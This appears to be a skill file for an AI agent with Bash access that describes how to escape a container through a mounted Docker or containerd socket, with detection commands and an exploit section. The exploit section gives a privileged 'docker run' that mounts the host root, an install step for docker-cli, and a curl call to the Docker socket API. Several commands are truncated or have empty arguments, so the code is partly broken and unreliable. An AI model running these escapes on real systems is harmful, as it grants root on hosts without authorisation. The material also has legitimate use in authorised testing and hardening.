docker-socket-mount

name	docker-socket-mount
description	Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"docker.sock containerd.sock dind docker-in-docker mounted socket /var/run host escape ci runner argocd flux jenkins gitlab","subdomain":"cloud-native","tags":"docker, containerd, container-escape, ci-cd","mitre_attack":"T1611, T1610"}

Docker / Containerd Socket Mount Escape

A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.

Detect

ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1

Exploit — Docker socket

# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine  /host /bin/sh



apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null


curl --unix-socket /var/run/docker.sock -X POST -H  \
  -d  \
  http://localhost/containers/create